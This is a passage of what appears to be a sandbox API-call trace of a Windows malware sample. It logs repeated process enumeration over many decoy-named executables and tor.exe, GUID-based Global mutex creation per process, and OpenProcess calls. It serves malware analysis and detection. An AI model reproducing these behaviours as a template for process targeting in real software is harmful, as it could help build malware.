szExeFile="cool rev connection ranger.exe")) returned 1 [0123.890] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.890] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.891] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.892] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.893] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.894] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.895] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.896] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.896] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.897] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.898] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.899] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.900] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.901] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.901] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.902] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.903] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.904] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.905] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.906] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.907] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.908] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.908] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0123.908] GetLastError () returned 0xb7 [0123.908] CloseHandle (hObject=0x56c) returned 1 [0123.908] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.909] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.910] CloseHandle (hObject=0x6cc) returned 1 [0123.910] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0124.014] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.015] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.016] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.017] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.018] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.019] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.019] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.020] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.021] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.022] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.023] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.024] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.025] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.026] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.026] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.027] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.028] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.029] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.030] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.031] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.032] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.032] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.032] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0124.033] GetLastError () returned 0xb7 [0124.033] CloseHandle (hObject=0x56c) returned 1 [0124.033] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.033] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.033] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0124.033] GetLastError () returned 0xb7 [0124.033] CloseHandle (hObject=0x56c) returned 1 [0124.034] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.034] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.035] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.035] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0124.035] GetLastError () returned 0x0 [0124.035] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.035] CloseHandle (hObject=0x56c) returned 1 [0124.035] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.036] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.036] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0124.036] GetLastError () returned 0x0 [0124.036] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.036] CloseHandle (hObject=0x56c) returned 1 [0124.036] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.037] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.037] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0124.037] GetLastError () returned 0xb7 [0124.037] CloseHandle (hObject=0x56c) returned 1 [0124.037] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.038] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.038] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0124.038] GetLastError () returned 0x0 [0124.038] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.039] CloseHandle (hObject=0x56c) returned 1 [0124.039] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.039] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.040] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.041] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.042] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.043] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.044] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.044] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.045] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.046] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.052] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.053] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.053] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.054] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.055] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.056] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.057] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.058] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, 